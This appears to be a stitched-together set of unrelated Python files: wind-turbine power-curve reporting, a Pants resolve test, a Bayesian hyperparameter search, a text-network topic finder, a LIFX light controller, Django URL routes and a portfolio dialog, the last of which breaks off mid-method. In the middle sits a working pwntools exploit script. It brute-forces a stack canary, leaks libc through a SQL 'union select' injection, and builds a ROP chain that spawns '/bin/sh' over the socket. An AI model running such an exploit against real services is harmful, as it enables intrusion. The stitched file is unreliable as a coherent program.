        sh.write(row,6, "TRUE" if timeCovered  > 180 else "FALSE")
        sh.write(row,7, "({0} Hours)".format(round(timeCovered,2)) , self.two_dp_style)
        row+=1
        if hasattr(analysis,"windSpeedAt85pctX1pnt5"):
            sh.write_merge(row,row,2,5, "Largest WindSpeed > {0}:".format(round(analysis.windSpeedAt85pctX1pnt5,2)), self.bold_style)
            sh.write(row,6, "TRUE" if analysis.aepCalcLCB.lcb > analysis.windSpeedAt85pctX1pnt5 else "FALSE")
            sh.write(row,7, "Threshold is 1.5*(WindSpeed@0.85*RatedPower)")
            row+=1
        sh.write_merge(row,row,2,5, "AEP Extrap. within 1% of AEP LCB:",self.bold_style)
        ans = abs(1-(analysis.aepCalc.AEP/analysis.aepCalcLCB.AEP)) < 0.01
        sh.write(row,6, "TRUE" if ans else "FALSE")
        if not ans:
             sh.write(row,8, analysis.aepCalc.AEP)
             sh.write(row,9, analysis.aepCalcLCB.AEP)
        if analysis.turbRenormActive:
            row += 2
            sh.write(row,3, "Turbulence Corrected Measured (LCB) Pct of Warranted Annual Energy Yield (%)", self.bold_style)
            sh.write(row,4, "Turbulence Corrected Extrapolated Pct of Warranted Annual Energy Yield (%)", self.bold_style)
            sh.write(row+1,3, analysis.turbCorrectedAepCalcLCB.AEP*100, self.two_dp_style)
            sh.write(row+1,4, analysis.turbCorrectedAepCalc.AEP*100, self.two_dp_style)
        row+=2

        sh.write_merge(row,row,3,10,"AEP Distribution",self.bold_style)
        row+=1
        sh.write_merge(row,row,3,6, "Reference", self.bold_style)
        sh.write_merge(row,row,7,10, "Measured", self.bold_style)
        row+=1
        sh.write(row,2,"Wind Speed",self.bold_style)
        sh.write(row,3,'Reference Freq',self.bold_style)
        sh.write(row,4,'Reference Power',self.bold_style)
        sh.write(row,5,'Reference Power (Resampled)',self.bold_style)
        sh.write(row,6,"Reference Energy",self.bold_style)
        sh.write(row,7,'Measured Freq',self.bold_style)
        sh.write(row,8,'Measured Power',self.bold_style)
        sh.write(row,9,'Measured Power (Resampled)',self.bold_style)
        sh.write(row,10,"Measured Energy",self.bold_style)
        for binNum in analysis.aepCalc.energy_distribution.index:
            row+=1
            sh.write(row,2,binNum,self.two_dp_style)
            sh.write(row,3,analysis.aepCalc.energy_distribution.loc[binNum,"Reference_Freq"] ,self.four_dp_style)
            sh.write(row,4,analysis.aepCalc.energy_distribution.loc[binNum,"Reference_Upper"] ,self.four_dp_style)
            sh.write(row,5,analysis.aepCalc.energy_distribution.loc[binNum,"Reference_Power"] ,self.four_dp_style)
            sh.write(row,6,analysis.aepCalc.energy_distribution.loc[binNum,"Reference_Energy"] ,self.four_dp_style)
            sh.write(row,7,analysis.aepCalc.energy_distribution.loc[binNum,"Measured_Freq"] ,self.four_dp_style)
            sh.write(row,8,analysis.aepCalc.energy_distribution.loc[binNum,"Measured_Upper"] ,self.four_dp_style)
            sh.write(row,9,analysis.aepCalc.energy_distribution.loc[binNum,"Measured_Power"] ,self.four_dp_style)
            sh.write(row,10,analysis.aepCalc.energy_distribution.loc[binNum,"Measured_Energy"] ,self.four_dp_style)
        row+=3

    def write_power_curves(self):

        Status.add("Wind Speed\tSpecified\tInner\tOuter\tAll", verbosity=2)

        for i in range(self.windSpeedBins.numberOfBins):

            windSpeed = self.windSpeedBins.binCenterByIndex(i)

            text = "%0.4f\t" % windSpeed

            if windSpeed in self.specified_power_curve.data_frame:
                text += "%0.4f\t" % self.specified_power_curve.data_frame[windSpeed]
            else:
                text += "\t"

            if windSpeed in self.innerMeasuredPowerCurve.data_frame:
                text += "%0.4f\t" % self.innerMeasuredPowerCurve.data_frame[windSpeed]
            else:
                text += "\t"

            if windSpeed in self.outerMeasuredPowerCurve.data_frame:
                text += "%0.4f\t" % self.outerMeasuredPowerCurve.data_frame[windSpeed]
            else:
                text += "\t"

            if windSpeed in self.allMeasuredPowerCurve.data_frame:
                text += "%0.4f\t" % self.allMeasuredPowerCurve.data_frame[windSpeed]
            else:
                text += "\t"

            Status.add(text, verbosity=2)

    def write_power_deviation_matrix(self):

        for j in reversed(range(self.turbulenceBins.numberOfBins)):

            turbulence = self.turbulenceBins.binCenterByIndex(j)

            text = "%f\t" % turbulence

            for i in range(self.windSpeedBins.numberOfBins):

                windSpeed = self.windSpeedBins.binCenterByIndex(i)

                if windSpeed in self.powerDeviations:
                    if turbulence in self.powerDeviations[windSpeed]:
                        text += "%f\t" % self.powerDeviations[windSpeed][turbulence]
                    else:
                        text += "\t"
                else:
                    text += "\t"

            Status.add(text, verbosity=2)

        text = "\t"

        for i in range(self.windSpeedBins.numberOfBins):
            text += "%f\t" % self.windSpeedBins.binCenterByIndex(i)

        Status.add(text, verbosity=2)

    def report_scatter_metric(self,sh,analysis,row, turbRenormActive):
        row += 5
        sh.write(row,   1, "Scatter Metric Before TI Renormalisation:", self.bold_style)
        sh.write(row+1, 1, analysis.powerCurveScatterMetric, self.percent_style)
        if turbRenormActive:
            sh.write(row,   2, "Scatter Metric After TI Renormalisation:", self.bold_style)
            sh.write(row+1, 2, analysis.powerCurveScatterMetricAfterTiRenorm , self.percent_style)
        return row + 3

class AnonReport(Report):

    def __init__(self,targetPowerCurve,wind_bins, turbulence_bins, version="unknown"):

        self.version = version
        self.targetPowerCurve = targetPowerCurve
        self.turbulenceBins = turbulence_bins
        self.normalisedWindSpeedBins = wind_bins

    def report(self, path, analysis, powerDeviationMatrix = True, scatterMetric=True):

        self.analysis = analysis
        book = xlwt.Workbook()

        sh = book.add_sheet("Anonymous Report", cell_overwrite_ok=True)
        sh.write(0, 0, "PCWG Tool Version Number:")
        sh.write(0, 1, self.version)
        sh.write(0, 2, xlwt.Formula('HYPERLINK("http://www.pcwg.org";"PCWG Website")'))
        row = 1

        if powerDeviationMatrix:
            row = self.report_power_deviation_matrix(sh,analysis,book)

        if scatterMetric:
            row = self.report_scatter_metric(sh,analysis,row, analysis.turbRenormActive)

        book.save(path)

    def report_power_deviation_matrix(self,sh,analysis,book):

        gradient = colour.ColourGradient(-0.1, 0.1, 0.01, book)
        pcStart = 2
        pcEnd   = pcStart + self.normalisedWindSpeedBins.numberOfBins + 5

        deviationMatrixStart = pcEnd + 5
        row= []

        row.append( self.reportPowerCurve(sh, pcStart, 0, self.targetPowerCurve.name + ' Power Curve', self.targetPowerCurve) )

        row.append( self.reportPowerDeviations(sh,deviationMatrixStart, analysis.normalisedHubPowerDeviations, gradient, "Hub Power"))

        if analysis.normalisedTurbPowerDeviations != None:
            deviationMatrixStart += (self.turbulenceBins.numberOfBins + 5) * 2
            row.append(self.reportPowerDeviations(sh,deviationMatrixStart, analysis.normalisedTurbPowerDeviations, gradient, "Turb Corrected Power") )

        return max(row)

    def reportPowerDeviations(self,sh, startRow, powerDeviations, gradient, name):

        countShift = self.turbulenceBins.numberOfBins + 5

        sh.write(startRow, 1, "Deviations Matrix (%s)" % name, self.bold_style)
        sh.write(startRow + countShift, 1, "Data Count Matrix (%s)" % name, self.bold_style)

        for j in range(self.turbulenceBins.numberOfBins):

            turbulence = self.turbulenceBins.binCenterByIndex(j)

            row = startRow + self.turbulenceBins.numberOfBins - j
            countRow = row + countShift

            sh.write(row, 0, turbulence, self.percent_no_dp_style)
            sh.write(countRow, 0, turbulence, self.percent_no_dp_style)

            for i in range(self.normalisedWindSpeedBins.numberOfBins):

                windSpeed = self.normalisedWindSpeedBins.binCenterByIndex(i)
                col = i + 1

                if j == 0:
                    sh.write(row + 1, col, windSpeed, self.two_dp_style)
                    sh.write(countRow + 1, col, windSpeed, self.two_dp_style)

                if windSpeed in powerDeviations.matrix:
                    if turbulence in powerDeviations.matrix[windSpeed]:

                        deviation = powerDeviations.matrix[windSpeed][turbulence]
                        count = int(powerDeviations.count[windSpeed][turbulence])

                        if not np.isnan(deviation):
                            sh.write(row, col, deviation, gradient.getStyle(deviation))
                            sh.write(countRow, col, count, self.no_dp_style)

        return startRow + self.turbulenceBins.numberOfBins + countShift

    def reportPowerCurve(self, sh, rowOffset, columnOffset, name, powerCurve):

        sh.write(rowOffset, columnOffset + 2, name, self.bold_style)
        rowOrders = { 'Data Count':4, 'Normalised Wind Speed':1,'Normalised Power':2, 'Turbulence':3}

        for colname in rowOrders.keys():
            sh.write(rowOffset + 1, columnOffset + rowOrders[colname], colname, self.bold_style)
            countRow = 1

        for i in range(self.normalisedWindSpeedBins.numberOfBins):

            windSpeed = self.normalisedWindSpeedBins.binCenterByIndex(i)
            mask = self.analysis.dataFrame['Normalised WS Bin'] == windSpeed
            dataCount = self.analysis.dataFrame[mask]['Normalised WS Bin'].count()
            absoluteWindSpeed = windSpeed * self.analysis.observedRatedWindSpeed

            sh.write(rowOffset + countRow + 1, columnOffset + 1, windSpeed, self.two_dp_style)
            sh.write(rowOffset + countRow + 1, columnOffset + 4,
                         dataCount, self.no_dp_style)

            if dataCount > 0:

                sh.write(rowOffset + countRow + 1, columnOffset + 2,
                         float(powerCurve.powerFunction(absoluteWindSpeed))/self.analysis.observedRatedPower, self.two_dp_style)

                sh.write(rowOffset + countRow + 1, columnOffset + 3,
                         float(powerCurve.turbulenceFunction(absoluteWindSpeed)), self.percent_no_dp_style)

            countRow += 1

        return countRow


from __future__ import annotations

from textwrap import dedent

import pytest

from pants.backend.java.target_types import JavaSourcesGeneratorTarget
from pants.backend.java.target_types import rules as target_types_rules
from pants.core.util_rules import config_files, source_files
from pants.engine.addresses import Address, Addresses
from pants.jvm.resolve.common import Coordinate
from pants.jvm.resolve.coursier_fetch import NoCompatibleResolve
from pants.jvm.resolve.coursier_fetch import rules as coursier_fetch_rules
from pants.jvm.resolve.key import CoursierResolveKey
from pants.jvm.target_types import DeployJarTarget, JvmArtifactTarget
from pants.jvm.testutil import maybe_skip_jdk_test
from pants.jvm.util_rules import rules as util_rules
from pants.testutil.rule_runner import PYTHON_BOOTSTRAP_ENV, QueryRule, RuleRunner, engine_error

NAMED_RESOLVE_OPTIONS = (
    '--jvm-resolves={"one": "coursier_resolve.lockfile", "two": "coursier_resolve.lockfile"}'
)
DEFAULT_RESOLVE_OPTION = "--jvm-default-resolve=one"

@pytest.fixture
def rule_runner() -> RuleRunner:
    rule_runner = RuleRunner(
        rules=[
            *config_files.rules(),
            *coursier_fetch_rules(),
            *source_files.rules(),
            *util_rules(),
            *target_types_rules(),
            QueryRule(CoursierResolveKey, (Addresses,)),
        ],
        target_types=[DeployJarTarget, JavaSourcesGeneratorTarget, JvmArtifactTarget],
    )
    rule_runner.set_options(
        args=[
            NAMED_RESOLVE_OPTIONS,
            DEFAULT_RESOLVE_OPTION,
        ],
        env_inherit=PYTHON_BOOTSTRAP_ENV,
    )
    return rule_runner

def assert_resolve(
    expected_resolve: str,
    rule_runner: RuleRunner,
    root_one_resolve: str,
    root_two_resolve: str,
    leaf_resolve: str,
) -> None:
    rule_runner.write_files(
        {
            "BUILD": dedent(
                f"""\
                deploy_jar(name='root_one', main='Ex', dependencies=[':leaf'], resolve='{root_one_resolve}')
                deploy_jar(name='root_two', main='Ex', dependencies=[':leaf'], resolve='{root_two_resolve}')
                jvm_artifact(
                  name='leaf',
                  group='ex',
                  artifact='ex',
                  version='0.0.0',
                  resolve='{leaf_resolve}',
                )
                """
            ),
            "coursier_resolve.lockfile": "[]",
        }
    )
    resolve_key = rule_runner.request(
        CoursierResolveKey,
        # NB: Although it will not happen for `deploy_jars` in production, we resolve two of them
        # together here to validate the handling of multiple roots, which _can_ happen for things
        # like the `repl` goal, and other goals which create an adhoc merged Classpath.
        [
            Addresses(
                [
                    Address(spec_path="", target_name="root_one"),
                    Address(spec_path="", target_name="root_two"),
                ]
            )
        ],
    )
    assert resolve_key.name == expected_resolve

@maybe_skip_jdk_test
def test_all_matching(rule_runner: RuleRunner) -> None:
    assert_resolve("one", rule_runner, "one", "one", "one")

@maybe_skip_jdk_test
def test_no_matching_for_root(rule_runner: RuleRunner) -> None:
    with engine_error(NoCompatibleResolve):
        assert_resolve("n/a", rule_runner, "one", "two", "two")

@maybe_skip_jdk_test
def test_no_matching_for_leaf(rule_runner: RuleRunner) -> None:
    with engine_error(NoCompatibleResolve):
        assert_resolve("n/a", rule_runner, "one", "one", "two")

@pytest.mark.parametrize(
    "coord_str,expected",
    (
        ("group:artifact:version", Coordinate("group", "artifact", "version")),
        (
            "group:artifact:packaging:version",
            Coordinate("group", "artifact", "version", "packaging"),
        ),
        (
            "group:artifact:packaging:classifier:version",
            Coordinate("group", "artifact", "version", "packaging", "classifier"),
        ),
    ),
)
def test_from_coord_str(coord_str: str, expected: Coordinate) -> None:
    assert Coordinate.from_coord_str(coord_str) == expected


import multiprocessing as mp
from skopt import Optimizer
from skopt.space import Real, Integer
import subprocess
import time
import pickle

from ID_CNN_V01 import setup_thread_environment
from _utils.ID_utils import get_convolutions, Colors, check_available_gpus

n_calls = 7

dim_learning_rate = Real(low=1e-7, high=3e-2, prior='log-uniform', name='learning_rate')
dim_n_convolutions = Integer(low=1, high=3, name='n_convolutions')
dim_dense_nodes = Integer(low=128, high=200, name='n_dense_nodes')

class ParameterBatch:
    """
    Class of Object containing all hyperparameters needed to run the network.
    """
    def __init__(self,
                 learning_rate=0.0005,
                 input_shape=[480, 640, 1],
                 batch_size=16,
                 convolutions=[(64, 7, 7), (128, 5, 5)],
                 gpu_id=2,
                 n_dense_nodes=128,
                 n_max_epochs=30,
                 n_runs=1,
                 training=True,
                 train_csv_file="_data/hetzell_shearlet_training_data.csv",
                 eval_csv_file="_data/hetzell_shearlet_evaluation_data.csv",
                 test_csv_file="_data/hetzell_shearlet_testing_data.csv"
                 ):
        self.learning_rate = learning_rate
        self.input_shape = input_shape
        self.batch_size = batch_size
        self.convolutions = convolutions
        self.gpu_id = gpu_id
        self.n_dense_nodes = n_dense_nodes
        self.n_max_epochs = n_max_epochs
        self.n_runs = n_runs
        self.training = training
        self.train_csv_file = train_csv_file
        self.test_csv_file = test_csv_file
        self.eval_csv_file = eval_csv_file

def map_val_to_param_batch(vals, gpu_id):
    """
    Maps the values given by an Optimizer into a ParameterBatch object.
    :param vals: list of values from Optimizer
    :param gpu_id: the gpu_id passed to the ParameterBatch
    :return: ParameterBatch object
    """
    params = ParameterBatch(learning_rate=vals[0],
                            convolutions=get_convolutions(vals[1]),
                            n_dense_nodes=vals[2],
                            gpu_id=gpu_id)
    return params

def bayesian_optimize(n_calls=12):
    """
    Apply bayesian optimization to a network. Access global variable reserved_gpus, Ask Optimizer for one point for each GPU,
    train and evaluate at that point in parallellized threads, repeat n_calls times. Then train and test the best setup.
    :return: ---
    """
    start_time = time.time()
    p = mp.Pool(len(reserved_gpus))
    optimizer = Optimizer(dimensions=[dim_learning_rate, dim_n_convolutions, dim_dense_nodes],
                          random_state=1)
    for i in range(1, n_calls + 1):
        gpus = list(reserved_gpus)
        vals = optimizer.ask(n_points=len(reserved_gpus))
        points = []
        for point in vals:
            param_batch = map_val_to_param_batch(point, gpus.pop(0))
            points.append(param_batch)
        loss = p.map(setup_thread_environment, points)
        optimizer.tell(vals, loss)
        print("#" * 100)
        print(Colors.OKBLUE, "Optimization cylce", i, "done.", Colors.ENDC)
        print("#" * 100)
    print("Best setup found:")
    p.close()
    print(min(optimizer.yi))  # print the best objective found
    sorted_sets = sorted(list(zip(optimizer.yi, optimizer.Xi)), key=lambda tup: tup[0])
    print("BEST SET:", sorted_sets[0])
    print("#" * 100)
    print(Colors.OKBLUE, "Starting Testing of Best Set.", Colors.ENDC)
    print("#" * 100)
    gpus = list(reserved_gpus)
    test_args = map_val_to_param_batch(sorted_sets[0][1], gpus.pop(0))
    test_args.training = False
    avg_test_accuracy = setup_thread_environment(test_args)
    print("Test accuracy:", avg_test_accuracy)
    end_time = time.time()
    print("It took:", str(end_time - start_time), "seconds")
    pickle.dump(sorted_sets, open("_logs/optimizer_points.pkl", "wb"))
    try:
        file_path = "_logs/dl_optimizer_result.txt"
        label_file = open(file_path, "w")
        label_file.write("Best setup found:\n")
        label_file.write(str(sorted_sets[0]))
        label_file.write("\nTime to process: ")
        label_file.write(str(end_time - start_time))
        label_file.write("\nTest Accuracy: ")
        label_file.write(str(avg_test_accuracy))
    finally:
        label_file.close()

def main():
    """
    clears the logdir, finds the reserved_gpus and starts the bayesian optimization.
    :return: ---
    """
    global reserved_gpus
    command_str = "(rm -r _logs)"
    subprocess.run(command_str, shell=True)
    reserved_gpus = check_available_gpus()
    print("GPUs", reserved_gpus, "are available.")
    bayesian_optimize(n_calls=n_calls)

if __name__ == "__main__":
    main()


import networkx as nx
from networkx.algorithms import community
from nltk.corpus import stopwords
import re

def build_graph(text):
    word_list = []
    G = nx.Graph()
    for line in text:
        line = (line.strip()).split()
        for i, word in enumerate(line):
            if i != len(line)-1:
                word_a = word
                word_b = line[i+1]
                if word_a not in word_list:
                    word_list.append(word_a)
                if word_b not in word_list:
                    word_list.append(word_b)
                if G.has_edge(word_a,word_b):
                    G[word_a][word_b]['weight'] += 1
                else:
                    G.add_edge(word_a,word_b, weight = 1)
    return G

def calculate_central_nodes(text_network):
    bc = (nx.betweenness_centrality(text_network,weight='weight'))
    nx.set_node_attributes(text_network, bc, 'betweenness')
    bc_threshold = sorted(bc.values(), reverse=True)[20]
    to_keep = [n for n in bc if bc[n] > bc_threshold]
    filtered_network = text_network.subgraph(to_keep)
    return filtered_network

def create_and_assign_communities(text_network):
    communities_generator = community.girvan_newman(text_network)
    top_level_communities = next(communities_generator)
    next_level_communities = next(communities_generator)
    return next_level_communities

def find_topics(text):
    try:
        text_network = build_graph(text)
        text_network = calculate_central_nodes(text_network)
        topics = create_and_assign_communities(text_network)
        return topics
    except:
        print("Error: Something went wrong. Check your input. You need at least 20 unique words in your text to start the analysis.")

def clean(text):
    new_text = []
    no_punct = [re.sub(r'[^\w\s]','',x) for x in text]
    stop_words = set(stopwords.words('english'))
    for line in no_punct:
        new_line = ([item.lower() for item in line.split() if not item.lower() in stop_words])
        new_text.append(' '.join((new_line)))
    return new_text


from lifxlan import *
import subprocess
import random

lights_name = {
    "lit" : "Lit_haut",
    "couloir" : "Couloir",
    "wc" : "Wc",
    "cuisine" : "Cuisine"
}

colors = {
    "rouge" : [65535, 65535, 65535, 3500],
    "orange" : [5525, 65535, 65535, 3500],
    "jaune" : [7000, 65535, 65535, 3500],
    "vert" : [16173, 65535, 65535, 3500],
    "cyan" : [29814, 65535, 65535, 3500],
    "bleu" : [43634, 65535, 65535, 3500],
    "violet" : [50486, 65535, 65535, 3500],
    "rose" : [58275, 65535, 47142, 3500],
    "blanc" : [58275, 0, 65535, 5500],
    "blanc froid" : [58275, 0, 65535, 9000],
    "blanc chaud" : [58275, 0, 65535, 3200],
    "or" : [58275, 0, 65535, 2500],
    "aleatoire" : 1
}

light=None
power_level=None
color=None
lan = LifxLAN(None)
_lights = lan.get_lights()
lights = {}
for l in _lights:
    lights[l.get_label()] = l

def command(light, color, power_level):
    if color is not None and power_level is not None:
        color = set_power(color, power_level)
    if light is not None:
        if color is None and power_level is not None:
            color = set_power(light.get_color(), power_level)
        elif color is not None and power_level is None:
            color = set_power(color, light.get_power())
        elif color is None and power_level is None:
            color = set_power(None, 100)
        light.set_color(color, duration=0.2, rapid=False)

def set_power(color, power_level):
    if color == None:
        color = [58275, 0, 0, 9000]
    if type(color) is not list:
        color = list(color)
    if power_level <= 100:
        color[2] = 65535 * power_level / 100
    else:
        color[2] = power_level
    return color

def jarvis_say(rules):
    color = None
    says = "J\'allume la lumiere "
    if "light" in rules:
        says += " de la %s " % rules["light"]
    if "color" in rules:
        if rules["color"] == "aleatoire":
            color = colors.keys()[random.randint(0, len(colors) - 1)]
            says += " avec une couleur aleatoire qui sera %s" % color
            color = colors[color]
        else:
            says += " en %s " % rules["color"]
    if "power" in rules:
        if rules["power"] == "0":
            says = says.replace("J\'allume", "J\'eteint")
            lan.set_power_all_lights("off", rapid=True)
        else:
            lan.set_power_all_lights("on", rapid=True)
            says += " avec une intensite de %s pourcents" % rules["power"]
    p = subprocess.Popen(['/etc/script/jarvis/jarvis.sh', '-s', says], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    out, err = p.communicate()
    return color

def parse_arg(args):
    light = None
    color = None
    power_level = None
    rules = {}
    for i, arg in enumerate(args):
        if i + 1 < len(args) and arg + " " + args[i + 1] in lights_name:
            light = lights[arg + " " + args[i + 1]]
            rules["light"] = arg + " " + args[i + 1]
        elif arg in lights_name:
            rules["light"] = arg
            light = lights[lights_name[arg]]
        elif i + 1 < len(args) and arg + " " + args[i + 1] in colors:
            rules["color"] = arg + " " + args[i + 1]
            color = colors[arg + " " + args[i + 1]]
        elif arg in colors:
            rules["color"] = arg
            color = colors[arg]
        else:
            try:
                power_level = int(arg)
                rules["power"] = arg
            except:
                pass
    tmp = jarvis_say(rules)
    if tmp != None:
        color = tmp
    return light, color, power_level

light, color, power_level = parse_arg(sys.argv)

if light is not None:
    command(light, color, power_level)
else:
    for light_name in lights:
        command(lights[light_name], color, power_level)


"""tilltheend URL Configuration

The `urlpatterns` list routes URLs to views. For more information please see:
    https://docs.djangoproject.com/en/3.2/topics/http/urls/
Examples:
Function views
    1. Add an import:  from my_app import views
    2. Add a URL to urlpatterns:  path('', views.home, name='home')
Class-based views
    1. Add an import:  from other_app.views import Home
    2. Add a URL to urlpatterns:  path('', Home.as_view(), name='home')
Including another URLconf
    1. Import the include() function: from django.urls import include, path
    2. Add a URL to urlpatterns:  path('blog/', include('blog.urls'))
"""

from django.urls import path
from forever import views
from django.conf import settings
from django.conf.urls.static import static

urlpatterns = [
    path('login', views.login_request, name='login'),
    path('logout', views.logout_request, name='logout'),
    path('register', views.register, name='register'),
    path('', views.index, name='home'),
    path('todo', views.todoadd, name='todo'),
    path('translate', views.translate, name='translate'),
    path('texttospech', views.texttospech, name='texttospech'),
    path('qrcode', views.qrcode, name='qrcode'),
    path('weather', views.weather, name='weather'),
    path('download', views.download_video, name='download'),
    path('delete/<int:id>', views.delete, name='delete'),
    path('doing/<int:id>', views.doing, name='doing'),
    path('finish/<int:id>', views.finish, name='finish'),
    path('history/<int:id>', views.history, name='history'),
    path('news', views.news, name='news'),
]
if settings.DEBUG:
    urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)


#!/usr/bin/env python
from sc_expwn import *  # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py

bin_file = './streaming'
context(os = 'linux', arch = 'amd64')
# context.log_level = 'debug'

#==========

env = Environment('debug', 'local', 'remote')
env.set_item('mode',    debug = 'DEBUG', local = 'PROC', remote = 'SOCKET')
env.set_item('target',  debug   = {'argv':[bin_file], 'aslr':False}, \
                        local   = {'argv':[bin_file]}, \
                        remote  = {'host':'localhost', 'port':8000})
env.select('remote')

#==========

binf = ELF(bin_file)
addr_send_message   = binf.sep_function['send_message']

addr_csu_init       = binf.sep_function['__libc_csu_init']
addr_got_main       = binf.got['__libc_start_main']
addr_got_read       = binf.got['read']
addr_got_write      = binf.got['write']
addr_bss            = binf.sep_section['.bss']

addr_csu_init_1st   = addr_csu_init + 0x5a
addr_csu_init_2nd   = addr_csu_init + 0x40
addr_buf            = addr_bss + 0x900
addr_buf2           = addr_bss + 0xe00

libc = binf.libc
offset_libc_main    = libc.sep_function['__libc_start_main']

path   = './music/'
name   = 'a'
offset  = 0x1b8

#==========

def attack(conn):
    canary = 0x44288b3fb3615500
    #canary = detect_canary(env)
    info('canary        = 0x{:08x}'.format(canary))
    put_mulmusic(canary)

    libc.address        = detect_libc_base(conn)
    addr_libc_str_sh    = libc.search('/bin/sh').next()
    info('addr_libc_base    = 0x{:08x}'.format(libc.address))

    shell = raw_input('shell?(Y/n)')[0] != 'n'
    rop = ROP(libc)
    if shell:
        rop.dup2(4, 0)
        rop.dup2(4, 1)
        rop.dup2(4, 2)
        rop.system(addr_libc_str_sh)
        #rop.execve(addr_libc_str_sh, 0, 0)
    else:
        message  = '192.168.115.1'.ljust(0x10, '\x00')
        message += 'test\x00'
        rop.read(4, addr_buf2, len(message))
        for i in range(0x10):
            rop.call(addr_send_message, [addr_buf2, 4296, addr_buf2+0x10])

    exploit  = p64(0xdeadbeef)
    exploit += str(rop)
    conn.send(exploit)

    if not shell:
        sleep(0.1)
        conn.send(message)

def put_mulmusic(canary):
    rop = ROP(binf)

    exploit  = 'a'*offset
    exploit += p64(canary)
    exploit += '\x00'*0x10
    exploit += p64(0xdeadbeef)
    exploit += p64(addr_csu_init_1st)
    exploit += p64(0)                   # rbx
    exploit += p64(1)                   # rbp
    exploit += p64(addr_got_write)      # r12
    exploit += p64(8)                   # r13
    exploit += p64(addr_got_main)       # r14
    exploit += p64(4)                   # r15
    exploit += p64(addr_csu_init_2nd)
    exploit += p64(0xdeadbeef)
    exploit += p64(0)                   # rbx
    exploit += p64(1)                   # rbp
    exploit += p64(addr_got_read)       # r12
    exploit += p64(0x10000)             # r13
    exploit += p64(addr_buf)            # r14
    exploit += p64(4)                   # r15
    exploit += p64(addr_csu_init_2nd)
    exploit += p64(0xdeadbeef)
    exploit += p64(0)                   # rbx
    exploit += p64(addr_buf)            # rbp
    exploit += p64(0)                   # r12
    exploit += p64(0)                   # r13
    exploit += p64(0)                   # r14
    exploit += p64(4)                   # r15
    exploit += p64(rop.leave.address)
    upload_file(name, exploit)

def detect_libc_base(conn):
    conn.send('\x80')
    conn.sendafter('\x10'+p32(0x24), ("' union select '%s', 16#" % path+name).ljust(36))
    conn.sendafter('\x11'+p32(0x40), ''.ljust(64))
    conn.sendafter('\x20'+p32(0), '\x84')
    conn.sendafter('\x14'+p32(8), p64(0x3ff))

    addr_libc_main      = u64(conn.recv(8))
    addr_libc_base      = addr_libc_main - offset_libc_main

    return addr_libc_base

def detect_canary(env):
    log = context.log_level
    context.log_level = 100

    canary = '\x00'
    while len(canary) < 8:
        exploit  = 'a'*offset
        exploit += ''.join([canary+chr(i) for i in range(0x100)])
        upload_file(name, exploit)

        for i in range(0, 0x100):
            conn = communicate(env.mode, **env.target)

            conn.send('\x80')
            conn.sendafter('\x10'+p32(0x24), ("' union select '%s', 16#" % path+name).ljust(36))
            conn.sendafter('\x11'+p32(0x40), ''.ljust(64))
            conn.sendafter('\x20'+p32(0), '\x83')
            conn.sendafter('\x13'+p32(8), p64((len(canary)+1)*i))
            conn.sendafter('\x23', '\x84')
            conn.sendafter('\x14'+p32(8), p64(offset+len(canary)+1))

            try:
                conn.recv()
            except:
                found = False
            else:
                found = True
            finally:
                conn.close()

            if found :
                context.log_level = log
                info('canary found : 0x%02x' % i)
                context.log_level = 100

                canary += chr(i)
                break

    context.log_level = log
    return u64(canary)

def upload_file(name, data):
    open(path+name, "wb").write(data)

#=========

if __name__=='__main__':
    conn = communicate(env.mode, **env.target)
    attack(conn)
    conn.interactive()

#==========


from grid_box import GridBox

class PortfolioDialog:

    def getInitialFileName(self):
        return "portfolio"

    def getInitialFolder(self):
        return preferences.portfolio_last_opened_dir()

    def addFormElements(self, master):

        self.description = self.addEntry(master, "Description:", ValidateNotBlank(master), self.config.description)

        #Items
        label = Label(master, text="Portfolio Items:")
        label.grid(row=self.row, sticky=W, column=self.titleColumn, columnspan = 2)
        self.row += 1

        self.itemsListBoxEntry = self.addListBox(master, "Items ListBox", height = 10)

        self.validateItems = ValidatePortfolioItems(master, self.itemsListBoxEntry.listbox)
        self.validations.append(self.validateItems)
        self.validateItems.messageLabel.grid(row=self.row, sticky=W, column=self.messageColumn)

        headers = ["Description","Diameter","HubHeight","RatedPower","CutOutWindSpeed","Datasets"]
        self.items_grid_box = GridBox(master, headers)
        self.items_grid_box.edit = self.edit_item

        if not self.isNew:
                for item in self.config.items:
                        self.items_grid_box.add_item(item)

        self.validateItems.validate()

    def setConfigValues(self):

        self.config.path = self.filePath.get()
        self.config.description = self.description.get()

        #exclusions
        self.config.items = []

        for i in range(self.itemsListBoxEntry.listbox.size()):
            if i > 0:
                values = extractPortfolioItemValuesFromText(self.itemsListBoxEntry.listbox.get(i))
                self.config.addItem(description = values[0], \
                                    diameter = values[1], \
                                    hubHeight = values[2], \
                                    ratedPower = values[3], \
                                    cutOutWindSpeed = values[4], \
                                    datasets = values[5])

    def new_item(self):

        PortfolioItemDialog(self, configuration.RelativePath(self.filePath.get()), self.status, self.addPortfolioItemFromText)
        self.validateItems.validate()

    def edit_item(self, event = None):

        items = self.itemsListBoxEntry.listbox.curselection()

        if len(items) == 1:

                idx = int(items[0])

                if idx > 0:

                    text = self.itemsListBoxEntry.listbox.get(items[0])

                    try:
                        PortfolioItemDialog(self, configuration.RelativePath(self.filePath.get()), self.status, self.addPortfolioItemFromText, text, idx)
                    except ExceptionType as e:
                        self.status.addMessage("ERROR loading config (%s): %s" % (text, e))

    def remove_item(self):

        items = self.itemsListBoxEntry.listbox.curselection()
        pos = 0

        for i in items:

            idx = int(i) - pos

            if idx > 0:
                self.itemsListBoxEntry.listbox.delete(idx, idx)

            pos += 1

        self.validateItems.validate()

    def addPortfolioItemFromText(self, text, index = None):

            if index != None:
                    self.itemsListBoxEntry.listbox.delete(index, index)
                    self.itemsListBoxEntry.listbox.insert(index, text)
            else:
                    self.itemsListBoxEntry.listbox.insert(END, text)

class PortfolioItemDialog(BaseDialog):

    def __init__(self, master, relativePath, status, callback, text = None, index = None):

        self.relativePath = relativePath
        self.callback = callback
        self.text = text
        self.index = index

        self.callback = callback

        self.isNew = (text == None)

        BaseDialog.__init__(self, master, status)

    def body(self, master):

        self.prepareColumns(master)

        #dummy label to force width
        Label(master, text=" " * 275).grid(row = self.row, sticky=W, column=self.titleColumn, columnspan = 8)
        self.row += 1

        if not self.isNew:

            items = extractPortfolioItemValuesFromText(self.text)

            description = items[0]
            diameter = items[1]
            hubHeight = items[2]
            ratedPower = items[3]
            cutOutWindSpeed = items[4]
            datasets = items[5]

        else:

            description = None
